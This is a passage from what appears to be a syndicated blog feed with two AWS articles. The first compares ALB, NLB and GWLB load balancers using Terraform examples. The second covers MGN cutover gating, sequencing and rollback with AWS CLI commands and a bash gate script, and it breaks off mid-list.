&lt;p&gt;Two direct consequences: the backend sees the &lt;strong&gt;client's actual source IP&lt;/strong&gt; by default — no &lt;code&gt;X-Forwarded-For&lt;/code&gt; needed — and NLB can sustain millions of requests per second with single-digit-millisecond latency, because it isn't doing HTTP parsing or connection re-establishment.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb"&lt;/span&gt; &lt;span class="s2"&gt;"network"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;               &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"nlb-tcp-service"&lt;/span&gt;
  &lt;span class="n"&gt;load_balancer_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"network"&lt;/span&gt;
  &lt;span class="n"&gt;subnets&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;public_a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;public_b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

  &lt;span class="n"&gt;enable_cross_zone_load_balancing&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb_target_group"&lt;/span&gt; &lt;span class="s2"&gt;"tcp"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tg-tcp-service"&lt;/span&gt;
  &lt;span class="n"&gt;port&lt;/span&gt;        &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5432&lt;/span&gt;
  &lt;span class="n"&gt;protocol&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"TCP"&lt;/span&gt;
  &lt;span class="n"&gt;vpc_id&lt;/span&gt;      &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
  &lt;span class="n"&gt;target_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ip"&lt;/span&gt;

  &lt;span class="n"&gt;health_check&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;protocol&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"TCP"&lt;/span&gt;
    &lt;span class="n"&gt;port&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"5432"&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;NLB also supports assigning a &lt;strong&gt;static Elastic IP per Availability Zone&lt;/strong&gt; — something ALB architecturally cannot do. This is the single most common reason teams choose NLB even for HTTP traffic: the static IP requirement alone rules out ALB regardless of everything else.&lt;/p&gt;




&lt;h2&gt;
  
  
  GWLB: Layer 3 — transparent network insertion
&lt;/h2&gt;

&lt;p&gt;GWLB solves a genuinely different problem: inserting third-party network appliances — firewalls, IDS/IPS, deep packet inspection tools — transparently into a traffic path, without the appliance needing to be the traffic's actual destination.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client traffic ──&amp;gt; GWLB ──&amp;gt; Appliance (inspects/filters) ──&amp;gt; GWLB ──&amp;gt; original destination
                     (via GENEVE encapsulation, traffic returns through GWLB)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GWLB uses GENEVE encapsulation (port 6081) to wrap the original traffic and send it to a fleet of appliance instances, which inspect or transform it and send it back through the same GWLB endpoint. ALB and NLB sit &lt;em&gt;in&lt;/em&gt; the traffic path as the thing clients connect to; GWLB sits &lt;em&gt;beside&lt;/em&gt; the traffic path, transparently redirecting traffic through an appliance fleet without the client or destination needing any awareness.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb"&lt;/span&gt; &lt;span class="s2"&gt;"gateway"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;               &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"gwlb-firewall-fleet"&lt;/span&gt;
  &lt;span class="n"&gt;load_balancer_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"gateway"&lt;/span&gt;
  &lt;span class="n"&gt;subnets&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;appliance_a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;appliance_b&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_vpc_endpoint"&lt;/span&gt; &lt;span class="s2"&gt;"gwlb"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;vpc_id&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;
  &lt;span class="n"&gt;service_name&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_vpc_endpoint_service&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;gwlb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;service_name&lt;/span&gt;
  &lt;span class="n"&gt;vpc_endpoint_type&lt;/span&gt;  &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"GatewayLoadBalancer"&lt;/span&gt;
  &lt;span class="n"&gt;subnet_ids&lt;/span&gt;         &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;aws_subnet&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;private_a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most teams never need GWLB directly unless they're deploying a specific third-party security appliance that integrates with it, or building a centralized inspection architecture across many VPCs in an AWS Organization.&lt;/p&gt;




&lt;h2&gt;
  
  
  Health checks: where the layer difference matters most
&lt;/h2&gt;

&lt;p&gt;ALB health checks are HTTP/HTTPS requests expecting a specific status code range — a target returning 500 consistently is marked unhealthy even if the TCP port is accepting connections fine. NLB's default health check is often just a TCP connection check, which only confirms the port is accepting connections, not that the application is functioning correctly. A target that accepts TCP connections but can't process the specific protocol correctly passes NLB health checks while still failing real requests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight hcl"&gt;&lt;code&gt;&lt;span class="n"&gt;resource&lt;/span&gt; &lt;span class="s2"&gt;"aws_lb_target_group"&lt;/span&gt; &lt;span class="s2"&gt;"api"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;name&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"tg-api"&lt;/span&gt;
  &lt;span class="n"&gt;port&lt;/span&gt;     &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
  &lt;span class="n"&gt;protocol&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"HTTPS"&lt;/span&gt;
  &lt;span class="n"&gt;vpc_id&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;aws_vpc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;

  &lt;span class="n"&gt;health_check&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;path&lt;/span&gt;                &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"/health"&lt;/span&gt;
    &lt;span class="n"&gt;matcher&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"200"&lt;/span&gt;
    &lt;span class="n"&gt;interval&lt;/span&gt;            &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;
    &lt;span class="n"&gt;healthy_threshold&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;
    &lt;span class="n"&gt;unhealthy_threshold&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
    &lt;span class="n"&gt;timeout&lt;/span&gt;             &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The asymmetric thresholds (2 to become healthy, 3 to become unhealthy) are deliberate — the cost of routing to a still-recovering target is usually higher than slightly slower failure detection.&lt;/p&gt;




&lt;h2&gt;
  
  
  Cross-zone load balancing: a cost detail that differs by type
&lt;/h2&gt;

&lt;p&gt;For ALB, cross-zone load balancing is &lt;strong&gt;enabled by default and free&lt;/strong&gt;. For NLB, it is &lt;strong&gt;disabled by default&lt;/strong&gt;, and enabling it incurs standard cross-AZ data transfer charges for any request forwarded to a target in a different AZ. This is worth being deliberate about specifically because NLB is often chosen for high-throughput workloads — exactly the situation where an unexpected cross-AZ data transfer bill shows up fastest.&lt;/p&gt;




&lt;h2&gt;
  
  
  Side-by-side summary
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;ALB&lt;/th&gt;
&lt;th&gt;NLB&lt;/th&gt;
&lt;th&gt;GWLB&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;OSI layer&lt;/td&gt;
&lt;td&gt;7 (Application)&lt;/td&gt;
&lt;td&gt;4 (Transport)&lt;/td&gt;
&lt;td&gt;3 (Network)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Connection handling&lt;/td&gt;
&lt;td&gt;Terminates and re-establishes&lt;/td&gt;
&lt;td&gt;Forwards, preserves end-to-end&lt;/td&gt;
&lt;td&gt;Transparent redirect via GENEVE&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protocols&lt;/td&gt;
&lt;td&gt;HTTP, HTTPS, WebSocket&lt;/td&gt;
&lt;td&gt;TCP, UDP, TLS passthrough&lt;/td&gt;
&lt;td&gt;Any IP traffic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Client source IP visible to backend&lt;/td&gt;
&lt;td&gt;Via &lt;code&gt;X-Forwarded-For&lt;/code&gt; only&lt;/td&gt;
&lt;td&gt;Natively, by default&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Static IP support&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Yes, per AZ&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Content-based routing&lt;/td&gt;
&lt;td&gt;Yes (path, host, headers)&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The full post covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The complete decision framework restated as a single question — layer first, features second&lt;/li&gt;
&lt;li&gt;The four most common production failure modes for each type (ALB 502s, NLB health check blind spots, GWLB return routing, missing source IP after switching types)&lt;/li&gt;
&lt;li&gt;The "topic fan-out into per-consumer queues" pattern and when to reach for a log instead&lt;/li&gt;
&lt;li&gt;Why "exactly-once" delivery guarantees are narrower than the name suggests across SQS FIFO, Service Bus, and Kafka transactions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;👉 &lt;a href="https://aloknecessary.in/blogs/aws-load-balancer-internals-alb-nlb-gwlb/?utm_source=devto&amp;amp;utm_medium=referral&amp;amp;utm_campaign=blog_syndication&amp;amp;utm_content=aws-load-balancer-internals-alb-nlb-gwlb" rel="noopener noreferrer"&gt;Load Balancer Internals: ALB vs NLB vs GWLB — Full Article&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>aws</category>
      <category>networking</category>
      <category>devops</category>
      <category>cloud</category>
    </item>
    <item>
      <title>MGN Cutover Strategies: Gating, Sequencing, and Keeping a Way Back</title>
      <dc:creator>Alok Ranjan Daftuar</dc:creator>
      <pubDate>Wed, 04 Nov 2026 10:04:25 +0000</pubDate>
      <link>https://dev.to/aloknecessary/mgn-cutover-strategies-gating-sequencing-and-keeping-a-way-back-12cn</link>
      <guid>https://dev.to/aloknecessary/mgn-cutover-strategies-gating-sequencing-and-keeping-a-way-back-12cn</guid>
      <description>&lt;p&gt;The mental model that causes the most trouble going into a first MGN cutover is that it's the "big copy." It isn't. By the time you launch a cutover instance, the data has been streaming to AWS for days or weeks. What the cutover actually does is take a final snapshot, launch an instance from it, and run the OS conversion. The hard part is everything around that: deciding when the source stops being authoritative, redirecting traffic, and keeping the option to go back.&lt;/p&gt;

&lt;p&gt;This article covers the gate that has to pass before anything launches, the three sequencing shapes and when each applies, the DNS mechanics, and what rollback realistically looks like for Azure-sourced servers migrating to AWS with MGN.&lt;/p&gt;




&lt;h2&gt;
  
  
  Know the lifecycle states before you automate anything
&lt;/h2&gt;

&lt;p&gt;Every source server in MGN moves through a defined lifecycle. Cutover tooling that doesn't respect it will either error out or skip a step you assumed had happened.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws mgn describe-source-servers \
  --region ap-south-1 \
  --query &lt;span class="s1"&gt;'items[*].{Server:sourceServerID, Name:sourceProperties.identificationHints.hostname, State:lifeCycle.state, Lag:dataReplicationInfo.lagDuration}'&lt;/span&gt; \
  --output table
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The states that matter: &lt;code&gt;READY_FOR_TEST&lt;/code&gt;, &lt;code&gt;TESTING&lt;/code&gt;, &lt;code&gt;READY_FOR_CUTOVER&lt;/code&gt;, &lt;code&gt;CUTTING_OVER&lt;/code&gt;, &lt;code&gt;CUTOVER&lt;/code&gt;. A server shouldn't reach &lt;code&gt;CUTTING_OVER&lt;/code&gt; without having been through &lt;code&gt;TESTING&lt;/code&gt; first — MGN won't enforce this for you.&lt;/p&gt;




&lt;h2&gt;
  
  
  The pre-cutover gate
&lt;/h2&gt;

&lt;p&gt;Before any server in a wave is allowed to start cutover, run a scripted check that passes or fails. Eyeballing a dashboard is how a server with climbing lag or an untested launch template gets through.&lt;/p&gt;

&lt;p&gt;Five conditions must pass:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Replication is healthy and lag is low and stable&lt;/li&gt;
&lt;li&gt;A test launch has completed and been validated over the real network path&lt;/li&gt;
&lt;li&gt;The kernel check has passed (no &lt;code&gt;-azure&lt;/code&gt; kernel, or the fix has been validated)&lt;/li&gt;
&lt;li&gt;The launch template is final: instance type, subnet, security groups, IAM profile&lt;/li&gt;
&lt;li&gt;The target subnet matches the CIDR plan
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# cutover-gate.sh &amp;lt;source-server-id&amp;gt; &amp;lt;max-lag-seconds&amp;gt;&lt;/span&gt;
&lt;span class="nv"&gt;SERVER_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"$1"&lt;/span&gt;
&lt;span class="nv"&gt;MAX_LAG&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"${2:-60}"&lt;/span&gt;
&lt;span class="nv"&gt;REGION&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ap-south-1"&lt;/span&gt;

&lt;span class="nb"&gt;read&lt;/span&gt; -r STATE LAG REPL &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;"$(aws mgn describe-source-servers \
  --region "&lt;/span&gt;&lt;span class="nv"&gt;$REGION&lt;/span&gt;&lt;span class="s2"&gt;" \
  --filters "&lt;/span&gt;&lt;span class="nv"&gt;sourceServerIDs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$SERVER_ID&lt;/span&gt;&lt;span class="s2"&gt;" \
  --query 'items[0].[lifeCycle.state, dataReplicationInfo.lagDuration, dataReplicationInfo.dataReplicationState]' \
  --output text)"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"$STATE"&lt;/span&gt; != &lt;span class="s2"&gt;"READY_FOR_CUTOVER"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"FAIL: $SERVER_ID is $STATE, expected READY_FOR_CUTOVER"&lt;/span&gt;
  &lt;span class="nb"&gt;exit&lt;/span&gt; 1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"$REPL"&lt;/span&gt; != &lt;span class="s2"&gt;"CONTINUOUS"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"FAIL: replication state is $REPL, expected CONTINUOUS"&lt;/span&gt;
  &lt;span class="nb"&gt;exit&lt;/span&gt; 1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="nv"&gt;LAG_SECONDS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"$LAG"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; sed -E &lt;span class="s1"&gt;'s/PT([0-9]+)S/\1/'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; ! &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s2"&gt;"$LAG_SECONDS"&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;~ ^&lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;+$ &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt; LAG_SECONDS &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; MAX_LAG &lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"FAIL: lag is $LAG, threshold is ${MAX_LAG}s"&lt;/span&gt;
  &lt;span class="nb"&gt;exit&lt;/span&gt; 1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"PASS: $SERVER_ID ready for cutover (lag $LAG)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;READY_FOR_CUTOVER&lt;/code&gt; is only reached after a test has been run and the server explicitly marked ready — so this single state check also enforces the "test first" rule.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sequencing: three shapes of cutover
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Strategy&lt;/th&gt;
&lt;th&gt;How it works&lt;/th&gt;
&lt;th&gt;Best when&lt;/th&gt;
&lt;th&gt;Main risk&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Big bang&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All servers in the wave cut over in one window&lt;/td&gt;
&lt;td&gt;Tightly coupled tiers that can't run split across clouds&lt;/td&gt;
&lt;td&gt;Largest blast radius&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tier-by-tier&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Data tier first, then app, then web, with validation between&lt;/td&gt;
&lt;td&gt;Clear dependency order; latency across clouds is tolerable&lt;/td&gt;
&lt;td&gt;Cross-cloud latency during the window&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Server-by-server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Independent servers cut over one at a time&lt;/td&gt;
&lt;td&gt;Loosely coupled fleet with no shared state&lt;/td&gt;
&lt;td&gt;Long total duration; drift between early and late servers&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Tier-by-tier has the real catch: for some period, the app tier is running in AWS while its database is still in Azure, or vice versa. That only works if the connectivity exists, the CIDRs don't overlap, and the added latency is something the application tolerates. The most defensible default is to group tightly coupled tiers into a single cutover unit and sequence the &lt;em&gt;units&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;MGN's first-class application and wave constructs let you group servers and act on them together:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws mgn create-application --name &lt;span class="s2"&gt;"billing-service"&lt;/span&gt; --region ap-south-1
aws mgn associate-source-servers \
  --application-id app-0abc123 \
  --source-server-ids s-0111 s-0222 s-0333 \
  --region ap-south-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The cutover sequence
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;T minus 24–48 hours: lower DNS TTLs.&lt;/strong&gt; If a record has a 24-hour TTL and you only change it at cutover, clients keep resolving to the old Azure address for up to a day. Lower to ~60 seconds ahead of time, restore afterward.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;T minus 1 hour: re-run the gate.&lt;/strong&gt; Replication state and lag can change in the days since the test launch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;T zero: freeze writes on the source.&lt;/strong&gt; Stop the application or put it into read-only mode so no new data lands on the source after the last replicated block.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wait for lag to drain&lt;/strong&gt;, then launch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws mgn start-cutover \
  --source-server-ids &lt;span class="s2"&gt;"$SERVER_ID"&lt;/span&gt; \
  --region ap-south-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Validate before redirecting traffic.&lt;/strong&gt; The new instance is up but nothing points at it yet. Confirm it booted on the right kernel, has network reachability, and the application passes health checks. If it's going to fail, you want it to fail here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Redirect traffic, then finalize only after the rollback window closes:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Only after the rollback window has passed:&lt;/span&gt;
aws mgn finalize-cutover --source-server-id &lt;span class="s2"&gt;"$SERVER_ID"&lt;/span&gt; --region ap-south-1
aws mgn mark-as-archived --source-server-id &lt;span class="s2"&gt;"$SERVER_ID"&lt;/span&gt; --region ap-south-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Rollback: what you actually have
&lt;/h2&gt;

&lt;p&gt;MGN cutover is a one-way door unless you deliberately keep it open. There is no automatic reverse replication from AWS back to an Azure source. The realistic rollback is: stop the AWS instance, repoint DNS back, start the source again — but only if no meaningful data was written on the AWS side in the meantime.&lt;/p&gt;

&lt;p&gt;Two practical rules:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Don't decommission the source on cutover day.&lt;/strong&gt; Power it off, keep the VM and disks. Set an explicit retention period and put the deletion date on the calendar.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Don't finalize early.&lt;/strong&gt; Finalizing tells MGN the migration is complete and cleans up replication resources. Hold off until you've validated the workload in production for as long as your rollback window requires.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finalizing also stops the staging infrastructure cost, so there's pressure to do it early. That pressure is worth resisting for the length of your rollback window, then acting on promptly once it closes.&lt;/p&gt;




&lt;h2&gt;
  
  
  When the cutover instance fails validation
&lt;/h2&gt;

&lt;p&gt;The validation step between launch and traffic redirect is where problems should surface. The source is still intact and no traffic has moved — you have more options here than at any later point.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Instance running, no network&lt;/strong&gt; — the &lt;code&gt;ena&lt;/code&gt; driver / Azure kernel pattern. Use EC2 serial console, confirm the kernel, apply the &lt;code&gt;linux-generic&lt;/code&gt; swap fix, re-validate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Instance won't boot&lt;/strong&gt; — get to the bootloader, check kernel and initramfs, run &lt;code&gt;depmod&lt;/code&gt; before regenerating. If not converging within the time-box, abort and reschedule.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Boots and networks, application misbehaves&lt;/strong&gt; — usually a hardcoded Azure IP, a DNS name that doesn't resolve from AWS, or a missing security group rule. Fixable on the instance without touching the source.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The decision rule: if validation isn't passing by a pre-agreed time-box, abort and stay on the source. Pushing on and redirecting traffic to an unvalidated instance is how a cutover becomes an incident.&lt;/p&gt;




&lt;h2&gt;
  
  
  Read the Full Article
&lt;/h2&gt;

&lt;p&gt;The full post covers:&lt;/p&gt;

&lt;ul&gt;
